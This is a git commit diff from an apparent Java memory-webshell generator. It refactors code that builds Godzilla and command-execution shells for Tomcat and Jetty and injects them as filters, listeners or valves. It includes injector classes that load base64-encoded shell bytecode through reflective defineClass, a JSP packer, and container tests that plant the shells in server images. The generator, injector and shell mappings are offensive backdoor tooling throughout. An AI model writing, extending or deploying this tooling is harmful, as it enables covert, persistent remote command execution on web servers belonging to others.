refactor: extract super class

This commit is contained in:
ReaJason
2024-12-08 16:51:50 +08:00
parent 98b955673b
commit 3004221fad
14 changed files with 166 additions and 76 deletions
@@ -5,8 +5,12 @@ import com.reajason.javaweb.memsell.jetty.JettyShell;
import com.reajason.javaweb.memsell.packer.Packer;
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
import lombok.SneakyThrows;
import org.apache.commons.codec.binary.Base64;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;
/**
* @author ReaJason
@@ -18,7 +22,7 @@ public class GeneratorMain {
public static void main(String[] args) throws IOException {
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.JETTY)
.server(Server.TOMCAT)
.shellTool(ShellTool.Godzilla)
.shellType(Constants.FILTER).build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
@@ -28,9 +32,12 @@ public class GeneratorMain {
.headerValue("test123")
.build();
InjectorConfig injectorConfig = new InjectorConfig();
byte[] bytes = generate(shellConfig, injectorConfig, godzillaConfig, Packer.INSTANCE.JSP);
if (bytes != null) {
System.out.println(new String(bytes));
GenerateResult generateResult = generate(shellConfig, injectorConfig, godzillaConfig);
if (generateResult != null) {
Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW);
System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes()));
Packer.INSTANCE.JSP.getPacker().pack(generateResult);
}
}
@@ -54,7 +61,6 @@ public class GeneratorMain {
public static byte[] generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig, Packer.INSTANCE packerInstance) {
GenerateResult generateResult = generate(shellConfig, injectorConfig, shellToolConfig);
if (generateResult != null) {
// Files.write(Paths.get( injectorConfig.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
return packerInstance.getPacker().pack(generateResult);
}
return null;
@@ -17,17 +17,17 @@ import org.jetbrains.annotations.NotNull;
* 通过 classVisitor classFileVersion 改为指定 JDK 版本用于 JDK8 的环境能生成任意 JDK 版本的字节码默认使用 JDK6
* @author ReaJason
*/
public class TargetJDKVersionVisitorWrapper implements AsmVisitorWrapper {
public class TargetJreVersionVisitorWrapper implements AsmVisitorWrapper {
public static final TargetJDKVersionVisitorWrapper DEFAULT = new TargetJDKVersionVisitorWrapper();
public static final TargetJreVersionVisitorWrapper DEFAULT = new TargetJreVersionVisitorWrapper();
private final int targetJdkVersion;
public TargetJDKVersionVisitorWrapper() {
public TargetJreVersionVisitorWrapper() {
targetJdkVersion = Constants.DEFAULT_VERSION;
}
public TargetJDKVersionVisitorWrapper(int targetJdkVersion) {
public TargetJreVersionVisitorWrapper(int targetJdkVersion) {
this.targetJdkVersion = targetJdkVersion;
}
@@ -32,10 +32,10 @@ public class ShellConfig {
String shellType;
/**
* 生成类的目标 JDK 版本
* 生成类的目标 JRE 版本
*/
@Builder.Default
private int targetJdkVersion = Constants.DEFAULT_VERSION;
private int targetJreVersion = Constants.DEFAULT_VERSION;
/**
* 是否开启混淆
@@ -55,6 +55,6 @@ public class ShellConfig {
}
public boolean needByPassJdkModule() {
return targetJdkVersion >= Opcodes.V9;
return targetJreVersion >= Opcodes.V9;
}
}
@@ -1,6 +1,6 @@
package com.reajason.javaweb.godzilla;
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memsell.GodzillaGenerator;
import lombok.Getter;
import lombok.Setter;
@@ -123,7 +123,7 @@ public class GodzillaManager implements Closeable {
String className = CLASS_NAMES.get(random.nextInt(CLASS_NAMES.size()));
try (DynamicType.Unloaded<?> make = new ByteBuddy()
.redefine(Payload.class)
.visit(TargetJDKVersionVisitorWrapper.DEFAULT)
.visit(TargetJreVersionVisitorWrapper.DEFAULT)
.name(className)
.make()) {
return make.getBytes();
@@ -154,6 +154,7 @@ public class GodzillaManager implements Closeable {
ResponseBody body = response.body();
if (body != null) {
String resultFromRes = getResultFromRes(body.string(), this.key, this.md5);
System.out.println(resultFromRes);
return "ok".equals(resultFromRes);
}
}
@@ -3,7 +3,8 @@ package com.reajason.javaweb.memsell;
import com.reajason.javaweb.config.*;
import org.apache.commons.lang3.tuple.Pair;
import java.util.HashMap;
import java.util.Collections;
import java.util.List;
import java.util.Map;
/**
@@ -11,30 +12,53 @@ import java.util.Map;
* @since 2024/12/7
*/
public abstract class AbstractShell {
protected final Map<String, Pair<Class<?>, Class<?>>> godzillaShellMap = new HashMap<>();
protected final Map<String, Pair<Class<?>, Class<?>>> commandShellMap = new HashMap<>();
public AbstractShell() {
initializeShellMaps();
/**
* 获取当前支持的内存马功能列表
*
* @return supported tool lists
*/
public abstract List<ShellTool> getSupportedShellTools();
/**
* 获取内存马功能所支持的注入类型列表
*
* @param tool 内存马功能
* @return shellTypes
*/
public List<String> getSupportedShellTypes(ShellTool tool) {
return switch (tool) {
case Godzilla -> getGodzillaShellMap().keySet().stream().toList();
case Command -> getCommandShellMap().keySet().stream().toList();
default -> Collections.emptyList();
};
}
/**
* setup map
* 检查 shellConfig 的配置是否有效
*
* @param shellConfig 内存马生成配置
* @return valid
*/
protected abstract void initializeShellMaps();
public boolean isValid(ShellConfig shellConfig) {
List<ShellTool> supportedShellTools = getSupportedShellTools();
if (!supportedShellTools.contains(shellConfig.getShellTool())) {
return false;
}
List<String> supportedShellTypes = getSupportedShellTypes(shellConfig.getShellTool());
return supportedShellTypes.contains(shellConfig.getShellType());
}
public GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
Class<?> injectorClass = injectorConfig.getInjectorClass();
byte[] shellBytes;
Pair<Class<?>, Class<?>> shellInjectorPair = getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
Class<?> shellClass = shellInjectorPair.getLeft();
Class<?> injectorClass = shellInjectorPair.getRight();
Pair<Class<?>, Class<?>> classPair = getClassPair(shellConfig);
shellToolConfig.setClazz(shellClass);
if (injectorClass == null) {
injectorClass = classPair.getRight();
}
shellToolConfig.setClazz(classPair.getLeft());
shellBytes = generateShellBytes(shellConfig, shellToolConfig);
byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig);
injectorConfig = injectorConfig
.toBuilder()
@@ -50,14 +74,36 @@ public abstract class AbstractShell {
.injectorConfig(injectorConfig)
.shellClassName(shellToolConfig.getClassName())
.shellBytes(shellBytes)
.injectorClassName(injectorClass.getName())
.injectorClassName(injectorConfig.getInjectorClassName())
.injectorBytes(injectorBytes)
.build();
}
private Pair<Class<?>, Class<?>> getClassPair(ShellConfig shellConfig) {
Map<String, Pair<Class<?>, Class<?>>> shellMap = shellConfig.getShellTool() == ShellTool.Godzilla ? godzillaShellMap : commandShellMap;
return shellMap.get(shellConfig.getShellType());
/**
* 获取 Godzilla 注入生成类 Map
*
* @return shellType -> shellClass,injectorClass
*/
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Collections.emptyMap();
}
/**
* 获取 Command 注入生成类 Map
*
* @return shellType -> shellClass,injectorClass
*/
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Collections.emptyMap();
}
private Pair<Class<?>, Class<?>> getShellInjectorPair(ShellTool shellTool, String shellType) {
Map<String, Pair<Class<?>, Class<?>>> shellMap = switch (shellTool) {
case Godzilla -> getGodzillaShellMap();
case Command -> getCommandShellMap();
default -> Collections.emptyMap();
};
return shellMap.get(shellType);
}
private byte[] generateShellBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
@@ -1,7 +1,7 @@
package com.reajason.javaweb.memsell;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.config.CommandConfig;
import com.reajason.javaweb.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
@@ -26,7 +26,7 @@ public class CommandGenerator {
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(shellConfig.getClazz())
.name(shellConfig.getClassName())
.visit(new TargetJDKVersionVisitorWrapper(config.getTargetJdkVersion()))
.visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()))
.constructor(ElementMatchers.any()).intercept(fieldSets);
if (config.isJakarta()) {
@@ -1,7 +1,7 @@
package com.reajason.javaweb.memsell;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.config.GodzillaConfig;
import com.reajason.javaweb.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
@@ -26,7 +26,7 @@ public class GodzillaGenerator {
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(shellConfig.getClazz())
.name(shellConfig.getClassName())
.visit(new TargetJDKVersionVisitorWrapper(config.getTargetJdkVersion()))
.visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()))
.constructor(ElementMatchers.any())
.intercept(SuperMethodCall.INSTANCE
.andThen(FieldAccessor.ofField("pass").setsValue(shellConfig.getPass()))
@@ -1,8 +1,7 @@
package com.reajason.javaweb.memsell;
import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor;
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.config.InjectorConfig;
import com.reajason.javaweb.config.ShellConfig;
import com.reajason.javaweb.util.CommonUtil;
@@ -10,7 +9,6 @@ import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FixedValue;
import net.bytebuddy.jar.asm.Opcodes;
import org.apache.commons.codec.binary.Base64;
import java.util.Objects;
@@ -31,7 +29,7 @@ public class InjectorGenerator {
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(injectorConfig.getInjectorClass())
.name(injectorConfig.getInjectorClassName())
.visit(new TargetJDKVersionVisitorWrapper(config.getTargetJdkVersion()))
.visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()))
.method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(injectorConfig.getUrlPattern(), "/*")))
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
@@ -1,5 +1,6 @@
package com.reajason.javaweb.memsell.jetty;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memsell.AbstractShell;
import com.reajason.javaweb.memsell.jetty.command.CommandFilter;
import com.reajason.javaweb.memsell.jetty.command.CommandListener;
@@ -9,6 +10,9 @@ import com.reajason.javaweb.memsell.jetty.injector.JettyFilterInjector;
import com.reajason.javaweb.memsell.jetty.injector.JettyListenerInjector;
import org.apache.commons.lang3.tuple.Pair;
import java.util.List;
import java.util.Map;
import static com.reajason.javaweb.config.Constants.*;
/**
@@ -18,15 +22,27 @@ import static com.reajason.javaweb.config.Constants.*;
public class JettyShell extends AbstractShell {
@Override
protected void initializeShellMaps() {
godzillaShellMap.put(FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class));
godzillaShellMap.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class));
godzillaShellMap.put(LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class));
godzillaShellMap.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class));
public List<ShellTool> getSupportedShellTools() {
return List.of(ShellTool.Godzilla, ShellTool.Command);
}
commandShellMap.put(FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class));
commandShellMap.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class));
commandShellMap.put(LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class));
commandShellMap.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class));
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Map.of(
FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class),
JAKARTA_FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class),
LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class),
JAKARTA_LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Map.of(
FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class),
JAKARTA_FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class),
LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class),
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class)
);
}
}
@@ -1,5 +1,6 @@
package com.reajason.javaweb.memsell.tomcat;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memsell.AbstractShell;
import com.reajason.javaweb.memsell.tomcat.command.CommandFilter;
import com.reajason.javaweb.memsell.tomcat.command.CommandListener;
@@ -12,6 +13,9 @@ import com.reajason.javaweb.memsell.tomcat.injector.TomcatListenerInjector;
import com.reajason.javaweb.memsell.tomcat.injector.TomcatValveInjector;
import org.apache.commons.lang3.tuple.Pair;
import java.util.List;
import java.util.Map;
import static com.reajason.javaweb.config.Constants.*;
/**
@@ -26,19 +30,31 @@ public class TomcatShell extends AbstractShell {
public static final String EXECUTOR = "Executor";
@Override
protected void initializeShellMaps() {
godzillaShellMap.put(FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class));
godzillaShellMap.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class));
godzillaShellMap.put(LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class));
godzillaShellMap.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class));
godzillaShellMap.put(VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class));
godzillaShellMap.put(JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class));
public List<ShellTool> getSupportedShellTools() {
return List.of(ShellTool.Godzilla, ShellTool.Command);
}
commandShellMap.put(FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class));
commandShellMap.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class));
commandShellMap.put(LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class));
commandShellMap.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class));
commandShellMap.put(VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class));
commandShellMap.put(JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class));
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Map.of(
FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class),
JAKARTA_FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class),
LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class),
JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class),
VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class),
JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Map.of(
FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class),
JAKARTA_FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class),
LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class),
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class),
VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class),
JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class)
);
}
}
@@ -197,7 +197,8 @@ public class TomcatFilterInjector {
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
filter = clazz.newInstance();
} catch (Throwable ignored) {
} catch (Throwable e1) {
e1.printStackTrace();
}
}
return filter;
@@ -20,7 +20,7 @@ public class ShellAssertionTool {
.server(server)
.shellTool(shellTool)
.shellType(shellType)
.targetJdkVersion(targetJdkVersion)
.targetJreVersion(targetJdkVersion)
.build();
String shellUrl = url + "/test";
@@ -33,10 +33,10 @@ public class Jetty61ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
// arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP)
// arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
// arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP)
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP)
);
}
@@ -53,8 +53,8 @@ public class Jetty61ContainerTest {
testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer);
}
@AfterAll
static void tearDown() {
log.info(container.getLogs());
}
// @AfterAll
// static void tearDown() {
// log.info(container.getLogs());
// }
}
@@ -7,6 +7,7 @@ import com.reajason.javaweb.memsell.packer.Packer;
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
@@ -43,7 +44,7 @@ public class Tomcat6ContainerTest {
}
@Container
public final static GenericContainer<?> tomcat = new GenericContainer<>(imageName)
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
@@ -52,6 +53,11 @@ public class Tomcat6ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
testShellInjectAssertOk(getUrl(tomcat), Server.TOMCAT, shellType, shellTool, Opcodes.V1_6, packer);
testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V1_6, packer);
}
// @AfterAll
// static void tearDown() {
// log.info(container.getLogs());
// }
}